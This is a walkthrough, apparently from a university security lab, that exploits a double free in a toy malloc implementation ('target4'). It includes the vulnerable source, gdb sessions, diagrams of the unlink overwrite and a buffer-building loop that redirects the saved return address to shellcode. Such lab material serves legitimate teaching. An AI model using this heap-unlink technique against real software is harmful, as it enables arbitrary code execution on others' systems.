Suggested readings :
Once upon a free()…
On Target 1

Examining /tmp/target4 in Detail

code of executable /tmp/target4 (tmalloc.h, tmalloc.c, and target4.c respectively) :

 /*
 * Trivial malloc() implementation
 *
 * Inspired by K&R2 malloc() and Doug Lea malloc().
 */

void *tmalloc(unsigned nbytes);
void tfree(void *vp);
void *trealloc(void *vp, unsigned newbytes);
void *tcalloc(unsigned nelem, unsigned elsize);

 /*
 * Trivial malloc() implementation
 *
 * Inspired by K&R2 malloc() and Doug Lea malloc().
 */

#include <string.h>

#ifdef NULL   /* these days, defined in string.h */
#undef NULL
#endif

#define NULL 0

/*
 * the chunk header
 */
typedef double ALIGN;

typedef union CHUNK_TAG
{
  struct
    {
      union CHUNK_TAG *l;       /* leftward chunk */
      union CHUNK_TAG *r;       /* rightward chunk + free bit (see below) */
    } s;
  ALIGN x;
} CHUNK;

/*
 * we store the freebit -- 1 if the chunk is free, 0 if it is busy --
 * in the low-order bit of the chunk's r pointer.
 */

/* *& indirection because a cast isn't an lvalue and gcc 4 complains */
#define SET_FREEBIT(chunk) ( *(unsigned *)&(chunk)->s.r |=  0x1 )
#define CLR_FREEBIT(chunk) ( *(unsigned *)&(chunk)->s.r &= ~0x1 )
#define GET_FREEBIT(chunk) ( (unsigned)(chunk)->s.r & 0x1 )

/* it's only safe to operate on chunk->s.r if we know freebit
 * is unset; otherwise, we use ... */
#define RIGHT(chunk) ((CHUNK *)(~0x1 & (unsigned)(chunk)->s.r))

/*
 * chunk size is implicit from l-r
 */
#define CHUNKSIZE(chunk) ((unsigned)RIGHT((chunk)) - (unsigned)(chunk))

/*
 * back or forward chunk header
 */
#define TOCHUNK(vp) (-1 + (CHUNK *)(vp))
#define FROMCHUNK(chunk) ((void *)(1 + (chunk)))

/* for demo purposes, a static arena is good enough. */
#define ARENA_CHUNKS (65536/sizeof(CHUNK))
static CHUNK arena[ARENA_CHUNKS];

static CHUNK *bot = NULL;       /* all free space, initially */
static CHUNK *top = NULL;       /* delimiter chunk for top of arena */

static void init(void)
{
  bot = &arena[0]; top = &arena[ARENA_CHUNKS-1];
  bot->s.l = NULL; bot->s.r = top;
  top->s.l = bot;  top->s.r = NULL;
  SET_FREEBIT(bot); CLR_FREEBIT(top);
}

void *tmalloc(unsigned nbytes)
{
  CHUNK *p;
  unsigned size;

  if (bot == NULL)
    init();

  size = sizeof(CHUNK) * ((nbytes+sizeof(CHUNK)-1)/sizeof(CHUNK) + 1);

  for (p = bot; p != NULL; p = RIGHT(p))
    if (GET_FREEBIT(p) && CHUNKSIZE(p) >= size)
      break;
  if (p == NULL)
    return NULL;

  CLR_FREEBIT(p);
  if (CHUNKSIZE(p) > size)      /* create a remainder chunk */
    {
      CHUNK *q, *pr;
      q = (CHUNK *)(size + (char *)p);
      pr = p->s.r;
      q->s.l = p; q->s.r = pr;
      p->s.r = q; pr->s.l = q;
      SET_FREEBIT(q);
    }
  return FROMCHUNK(p);
}

void tfree(void *vp)
{
  CHUNK *p, *q;

  if (vp == NULL)
    return;

  p = TOCHUNK(vp);
  CLR_FREEBIT(p);
  q = p->s.l;
  if (q != NULL && GET_FREEBIT(q)) /* try to consolidate leftward */
    {
      CLR_FREEBIT(q);
      q->s.r      = p->s.r;
      p->s.r->s.l = q;
      SET_FREEBIT(q);
      p = q;
    }
  q = RIGHT(p);
  if (q != NULL && GET_FREEBIT(q)) /* try to consolidate rightward */
    {
      CLR_FREEBIT(q);
      p->s.r      = q->s.r;
      q->s.r->s.l = p;
      SET_FREEBIT(q);
    }
  SET_FREEBIT(p);
}

void *trealloc(void *vp, unsigned newbytes)
{
  void *newp = NULL;

  /* behavior on corner cases conforms to SUSv2 */
  if (vp == NULL)
    return tmalloc(newbytes);

  if (newbytes != 0)
    {
      CHUNK *oldchunk;
      unsigned bytes;

      if ( (newp = tmalloc(newbytes)) == NULL)
        return NULL;
      oldchunk = TOCHUNK(vp);
      bytes = CHUNKSIZE(oldchunk) - sizeof(CHUNK);
      if (bytes > newbytes)
        bytes = newbytes;
      memcpy(newp, vp, bytes);
    }

  tfree(vp);
  return newp;
}

void *tcalloc(unsigned nelem, unsigned elsize)
{
  void *vp;
  unsigned nbytes;

  nbytes = nelem * elsize;
  if ( (vp = tmalloc(nbytes)) == NULL)
    return NULL;
  memset(vp, '\0', nbytes);
  return vp;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include "tmalloc.h"

/*
 * strlcpy() from OpenBSD-current:
 * $OpenBSD: strlcpy.c,v 1.5 2001/05/13 15:40:16 deraadt Exp $
 *
 * Copy src to string dst of size siz.  At most siz-1 characters
 * will be copied.  Always NUL terminates (unless siz == 0).
 * Returns strlen(src); if retval >= siz, truncation occurred.
 *
 * HINT: This come from OpenBSD; there is no buffer overflow within
 *       this function; the bug is somewhere else ...
 */
static size_t
obsd_strlcpy(dst, src, siz)
        char *dst;
        const char *src;
        size_t siz;
{
        register char *d = dst;
        register const char *s = src;
        register size_t n = siz;

        /* Copy as many bytes as will fit */
        if (n != 0 && --n != 0) {
                do {
                        if ((*d++ = *s++) == 0)
                                break;
                } while (--n != 0);
        }

        /* Not enough room in dst, add NUL and traverse rest of src */
        if (n == 0) {
                if (siz != 0)
                        *d = '\0';              /* NUL-terminate dst */
                while (*s++)
                        ;
        }

        return(s - src - 1);    /* count does not include NUL */
}

int foo(char *arg)
{
  char *p;
  char *q;

  if ( (p = tmalloc(500)) == NULL)
    {
      fprintf(stderr, "tmalloc failure\n");
      exit(EXIT_FAILURE);
    }
  if ( (q = tmalloc(300)) == NULL)
    {
      fprintf(stderr, "tmalloc failure\n");
      exit(EXIT_FAILURE);
    }

  tfree(p);
  tfree(q);

  if ( (p = tmalloc(1024)) == NULL)
    {
      fprintf(stderr, "tmalloc failure\n");
      exit(EXIT_FAILURE);
    }

  obsd_strlcpy(p, arg, 1024);

  tfree(q);

  return 0;
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target4: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv[1]);

  return 0;
}

Neither overflow methods of sploit1 nor sploit2 will work on this case. By examining target4.c’s code, you will never find a local buf in any function that we hope to overflow and overwrite either the function-frame’s ebp or eip. On line 72 of target4.c, obsd_strlcpy(p, arg, 1024) suggests that we can construct a code like below, hoping to exploit the program above.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target4"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[1024];
  int i;
  int dummy_r, chnk_l, chnk_r;

  for(i = 0; i < 1024; i++) {
    if(i < 1023) {
      *(buf + i) = 'a';
    } else {
      *(buf + i) = '\x00';
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

What’s odd with the code (target4.c’s) is the call tfree(q) on line 74, without calling tmalloc() first for q and thus might provide some room for a bug. Using gdb to examine addresses especially of p and q, we will notice that q‘s address is within the address space of p (1024 bytes). p‘s start address is at 0x08049c48 (see line 52 below) and q‘s address is at 0x08049e48 (see line 58 below). p’s address space ranges from 0x08049c48 to 0x0804a047. Clearly, q is within that (p‘s) range and it (q) is 512 bytes from p.

user@box:~/pp1/sploits$ gdb -e sploit4 -s /tmp/target4
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit4
Executing new program: /proc/3253/exe
/proc/3253/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x80484f4: file target4.c, line 54.
(gdb) break obsd_strlcpy
Breakpoint 3 at 0x804846a: file target4.c, line 24.
(gdb) break tfree
Breakpoint 4 at 0x80487fc: file tmalloc.c, line 103.
(gdb) continue
Continuing.
[New process 3253]
[Switching to process 3253]

Breakpoint 2, foo (arg=0xbffffbef 'a' ...) at target4.c:54
54	target4.c: No such file or directory.
	in target4.c
(gdb) info frame
Stack level 0, frame at 0xbffffa80:
 eip = 0x80484f4 in foo (target4.c:54); saved eip 0x8048668
 called by frame at 0xbffffaa0
 source language c.
 Arglist at 0xbffffa78, args: arg=0xbffffbef 'a' ...
 Locals at 0xbffffa78, Previous frame's sp is 0xbffffa80
 Saved registers:
  ebp at 0xbffffa78, eip at 0xbffffa7c
(gdb) continue
Continuing.

Breakpoint 4, tfree (vp=0x8049c48) at tmalloc.c:103
103	tmalloc.c: No such file or directory.
	in tmalloc.c
(gdb) continue
Continuing.

Breakpoint 4, tfree (vp=0x8049e48) at tmalloc.c:103
103	in tmalloc.c
(gdb) continue
Continuing.

Breakpoint 3, obsd_strlcpy (dst=0x8049c48 "", src=0xbffffbef 'a' ..., siz=1024) at target4.c:24
24	target4.c: No such file or directory.
	in target4.c
(gdb) continue
Continuing.

Breakpoint 4, tfree (vp=0x8049e48) at tmalloc.c:103
103	tmalloc.c: No such file or directory.
	in tmalloc.c

Another observation is that foo‘s frame is on address space 0xbffff*** range and with p‘s address space, i.e. 0x08049*** range, it (p) is too far to overflow like we used to in sploit1 or sploit2. We have to look for the bug somewhere else. tfree() is a good place to start with.

Examining tfree() in Detail

Lines 20 to 28 of tmalloc.c suggest that the structure of a chunk is :

[  -left-   ][  -right-  ][   -data-    ]
[xx|xx|xx|xx][xx|xx|xx|xx][00|... ...|00]  -> data
|--4 bytes--||--4 bytes--||---n bytes---|

Now on tfree() (lines 99 to 126) of tmalloc.c, the following lines (118, 121, and 122) are interesting :

  .
  .
  .
  if (q != NULL && GET_FREEBIT(q)) /* try to consolidate leftward */
    {
      ...
      q->s.r      = p->s.r;
      p->s.r->s.l = q;
      ...
      ...
    }
  .
  .
  .

Basically, the code above unlinks p from q (previous chunk) and updates all left and right links of affected chunks such that the previous next chunk of p becomes next chunk of q. A sample visualization is provided below. Take note that the right link of q, the last bit is 1 to satisfy GET_FREEBIT(q) as true, i.e. valid bytes are *1,*3, *5,*7,*9,*b,*d,*f.

### after, q != NULL && GET_FREEBIT(q) ###
...[  -left-   ][  -right-  ][   -data-    ]... ...[  -left-   ][  -right-  ][   -data-    ]... ...[  -left-   ][  -right-  ][   -data-    ]...
...[aaaaaa--                               ]... ...[bbbbbb--                               ]... ...[cccccc--                               ]...  -> address range
...[xx|xx|xx|xx][bb|bb|bb|b1][00|... ...|00]... ...[aa|aa|aa|xx][cc|cc|cc|xx][00|... ...|00]... ...[bb|bb|bb|xx][xx|xx|xx|xx][00|... ...|00]...  -> data
                      q                                               p                                               o

### after, q->s.r = p->s.r ###
...[  -left-   ][  -right-  ][   -data-    ]... ...[  -left-   ][  -right-  ][   -data-    ]... ...[  -left-   ][  -right-  ][   -data-    ]...
...[aaaaaa--                               ]... ...[bbbbbb--                               ]... ...[cccccc--                               ]...  -> address range
...[xx|xx|xx|xx][cc|cc|cc|xx][00|... ...|00]... ...[aa|aa|aa|xx][cc|cc|cc|xx][00|... ...|00]... ...[bb|bb|bb|xx][xx|xx|xx|xx][00|... ...|00]...  -> data
                      q                                               p                                               o

### after, p->s.r->s.l = q ###
...[  -left-   ][  -right-  ][   -data-    ]... ...[  -left-   ][  -right-  ][   -data-    ]... ...[  -left-   ][  -right-  ][   -data-    ]...
...[aaaaaa--                               ]... ...[bbbbbb--                               ]... ...[cccccc--                               ]...  -> address range
...[xx|xx|xx|xx][cc|cc|cc|xx][00|... ...|00]... ...[aa|aa|aa|xx][cc|cc|cc|xx][00|... ...|00]... ...[aa|aa|aa|xx][xx|xx|xx|xx][00|... ...|00]...  -> data
                      q                                               p                                               o

We can use this part of code to our advantage. Take note that p above is the actually q in target4.c since we called this function as tfree(q) on target4.c. Remember that actual q in target4.c is within actual p‘s (in target4.c) address space and when we call obsd_strclpy(p, arg, 1024) to overwrite bytes on p, we can overwrite left and right links of actual q. The idea is to let actual q’s (p in tfree()) right link to point to foo-frame’s eip and its (q‘s) left link to actual p (in target4.c, and also start of buffer). In this way, we can overwrite effectively foo-frame’s eip with p which is also the start of buffer.

Let’s use gdb again to examine foo‘s frame, addresses of p & q, and try to construct our buffer.

user@box:~/pp1/sploits$ gdb -e sploit4 -s /tmp/target4
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit4
Executing new program: /proc/3345/exe
/proc/3345/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x80484f4: file target4.c, line 54.
(gdb) break tfree
Breakpoint 3 at 0x80487fc: file tmalloc.c, line 103.
(gdb) continue
Continuing.
[New process 3345]
[Switching to process 3345]

Breakpoint 2, foo (arg=0xbffffbef 'a' <repeats 200 times>...) at target4.c:54
54	target4.c: No such file or directory.
	in target4.c
(gdb) info frame
Stack level 0, frame at 0xbffffa80:
 eip = 0x80484f4 in foo (target4.c:54); saved eip 0x8048668
 called by frame at 0xbffffaa0
 source language c.
 Arglist at 0xbffffa78, args: arg=0xbffffbef 'a' <repeats 200 times>...
 Locals at 0xbffffa78, Previous frame's sp is 0xbffffa80
 Saved registers:
  ebp at 0xbffffa78, eip at 0xbffffa7c
(gdb) x 0xbffffa70
0xbffffa70:	0xb7f9da09
(gdb) x 0xbffffa74
0xbffffa74:	0x08049bd4
(gdb) x 0xbffffa78
0xbffffa78:	0xbffffa98
(gdb) x 0xbffffa7c
0xbffffa7c:	0x08048668
(gdb) x 0xbffffa80
0xbffffa80:	0xbffffbef
(gdb) continue
Continuing.

Breakpoint 3, tfree (vp=0x8049c48) at tmalloc.c:103
103	tmalloc.c: No such file or directory.
	in tmalloc.c
(gdb) continue
Continuing.

Breakpoint 3, tfree (vp=0x8049e48) at tmalloc.c:103
103	in tmalloc.c
(gdb) continue
Continuing.

Breakpoint 3, tfree (vp=0x8049e48) at tmalloc.c:103
103	in tmalloc.c

A visualization of foo‘s frame :

[     -local_var-       ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffa--               ][bffffa--   ][bffffa--   ][bffffa--   ]  -> first 3 bytes of addresses
[70|71|72|73|74|75|76|77][78|79|7a|7b][7c|7d|7e|7f][80|81|82|83]  -> last bytes of addresses
[09|da|f9|b7|d4|9b|04|08][98|fa|ff|bf][68|86|04|08][ef|fb|ff|bf]  -> data

A visualization of our buffer (note the use of jmp (eb) instruction since <fake_right> is not a valid assembly instruction, we should skip those bytes) :

[   left    |   right   ][data...             ][   left    |   right   ][data...        ]
[90|90|eb|03|xx|xx|xx|x1][90|...              ][48|9c|04|08|7c|fa|ff|bf][xx|...   ...|00] -> buffer
[<fill><jmp>|<fake_rght>][<nop>... <shellcode>][<left>...  |<right>... ][<filler>... |00]
|-----------------------------512 bytes--------------------------------|
|---------------------------------------1024 bytes--------------------------------------|

to implement, below is a sample edit of the for loop in sploit4.c :

  chnk_l = 0x08049c48;
  chnk_r = 0xbffffa7c;
  dummy_r = chnk_r + 1;
  for(i = 0; i < 1024; i++) {
    if(i < 2) {
      *(buf + i) = '\x90'; // <filler>
    } else if(i < 4) {
      memcpy((buf + i),"\xeb\x03",2); // <jump>
      i++;
    } else if(i < 8){
      *(buf + i) = dummy_r >> ((i - 4) * 8); // <fake right>
    } else if(i < (504 - strlen(shellcode))){
      *(buf + i) = '\x90'; // <nop>
    } else if(i < 504) {
      *(buf + i) = shellcode[i - 504 + strlen(shellcode)]; // <shellcode>
    } else if(i < 508) {
      *(buf + i) = chnk_l >> ((i - 504) * 8); // <left>
    } else if(i < 512) {
      *(buf + i) = chnk_r >> ((i - 508) * 8); // <right>
    } else if(i < 1023) {
      *(buf + i) = '\x90'; // <filler>
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }